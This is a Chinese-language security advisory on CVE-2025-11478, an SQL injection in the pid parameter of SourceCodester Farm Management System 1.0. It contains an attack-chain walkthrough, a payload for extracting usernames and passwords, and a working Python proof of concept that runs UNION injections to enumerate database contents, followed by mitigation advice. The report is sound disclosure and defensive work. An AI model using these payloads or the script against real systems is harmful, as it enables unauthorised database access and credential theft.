IPBUF安全漏洞报告
English
CVE-2025-11478 CVSS 6.3 中危

CVE-2025-11478:SourceCodester农场管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11478
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Farm Management System

相关标签

SQL注入SourceCodesterFarm Management SystemCVE-2025-11478Web应用漏洞PHP数据库安全中危漏洞

漏洞概述

CVE-2025-11478是SourceCodester Farm Management System 1.0版本中存在的一个SQL注入安全漏洞。该漏洞位于系统的/myCart.php文件中,具体涉及对参数pid的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到该参数中,从而实现对后台数据库的未授权操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。在影响方面,该漏洞对机密性、完整性和可用性均产生低程度的影响(C:L/I:L/A:L),表明攻击者可以读取敏感数据、修改数据库内容以及在一定程度上影响服务的可用性。

根据漏洞披露信息,该漏洞的利用代码已经公开发布,意味着任何具备基本网络访问权限和低权限认证的攻击者都可以利用此漏洞发起攻击。考虑到该漏洞利用难度较低且PoC已公开,系统管理员和运维人员应当高度重视并及时采取修复措施,以防止数据库信息泄露或被恶意篡改。

技术细节

该漏洞的核心问题在于/myCart.php文件未对用户输入的pid参数进行充分的过滤和参数化处理,导致攻击者可以将恶意SQL语句注入到数据库查询中。具体而言,当用户通过GET或POST请求向/myCart.php传递pid参数时,后端代码可能直接将此参数拼接到SQL查询语句中,而没有使用预编译语句(Prepared Statements)或适当的输入验证机制。

攻击者可以利用经典的SQL注入技术,如联合查询注入(UNION-based)、布尔盲注(Boolean-based Blind)或时间盲注(Time-based Blind),从数据库中提取敏感信息。例如,攻击者可以构造如下payload:`pid=1' UNION SELECT username,password FROM users-- -`,从而绕过正常的查询逻辑,获取管理员凭据或其他敏感数据。

由于该漏洞仅需要低权限认证(PR:L),攻击者可能需要先获取一个普通用户账户,然后利用此漏洞提升权限或直接访问数据库中的敏感信息。漏洞的利用完全在网络层面完成,不需要用户交互,自动化攻击工具可以轻易实现批量扫描和利用。

从安全编码角度来看,该漏洞的根本原因是缺乏对用户输入的严格验证和SQL查询参数化。修复方案应包括使用预编译语句、对所有用户输入进行白名单验证、以及实施最小权限原则来限制数据库账户的权限。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别运行SourceCodester Farm Management System 1.0的目标系统,收集目标URL和系统架构信息。
STEP 2
步骤2:获取低权限凭证
由于漏洞需要低权限认证(PR:L),攻击者需要先通过注册功能或其他方式获取一个普通用户账户,以便通过身份验证。
STEP 3
步骤3:构造恶意请求
攻击者构造包含恶意SQL注入payload的HTTP请求,针对/myCart.php文件的pid参数,如使用UNION查询或布尔盲注技术。
STEP 4
步骤4:注入SQL语句
通过GET或POST请求将恶意payload发送到目标服务器,后端未对pid参数进行充分过滤,导致恶意SQL语句被拼接到原始查询中执行。
STEP 5
步骤5:数据提取
利用SQL注入漏洞从数据库中提取敏感信息,包括管理员凭据、用户个人信息或其他机密数据。
STEP 6
步骤6:权限提升或数据破坏
获取管理员凭据后,攻击者可以登录管理后台执行进一步操作,或直接通过SQL语句修改/删除数据库内容,破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11478 - SourceCodester Farm Management System SQL Injection PoC # Vulnerability: SQL Injection via 'pid' parameter in /myCart.php # Author: DrNbnonono import requests import sys TARGET_URL = "http://target.com/myCart.php" def exploit_sql_injection(target_url, session_cookie): """ Exploit SQL injection in the pid parameter of myCart.php """ # Basic SQL injection payload to test the vulnerability payload = "1' OR '1'='1" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } params = { "pid": payload } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for SQL error messages indicating vulnerability sql_errors = [ "You have an error in your SQL syntax", "mysql_fetch_array()", "mysql_num_rows()", "Warning: mysql", "unclosed quotation mark" ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[+] SQL Injection confirmed! Error pattern found: {error}") return True # UNION-based injection to extract data union_payload = "1' UNION SELECT 1,2,3,4,5-- -" params["pid"] = union_payload response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] UNION injection test - Response length: {len(response.text)}") return True else: print(f"[-] Request failed - Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_database_info(target_url, session_cookie): """ Extract database information using UNION-based SQL injection """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Cookie": session_cookie } # Extract database name payload = "1' UNION SELECT database(),2,3,4,5-- -" params = {"pid": payload} response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Database info response: {response.text[:500]}") # Extract table names payload_tables = "1' UNION SELECT group_concat(table_name),2,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" params["pid"] = payload_tables response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Tables: {response.text[:500]}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: {sys.argv[0]} http://target.com/myCart.php 'PHPSESSID=abc123'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Testing SQL injection vulnerability...") if exploit_sql_injection(target, cookie): print("[+] Vulnerability confirmed! Extracting data...") extract_database_info(target, cookie) else: print("[-] Target may not be vulnerable or requires authentication")

影响范围

SourceCodester Farm Management System 1.0

防御指南

临时缓解措施
在等待官方修复补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则阻止包含SQL注入特征的请求,如包含UNION、SELECT、OR等关键字的可疑参数;2)临时禁用/myCart.php功能或限制对该文件的访问权限;3)对pid参数实施严格的输入验证,仅允许数字类型的输入;4)监控数据库日志,及时发现异常的SQL查询行为;5)限制数据库账户的权限,仅授予必要的最小权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表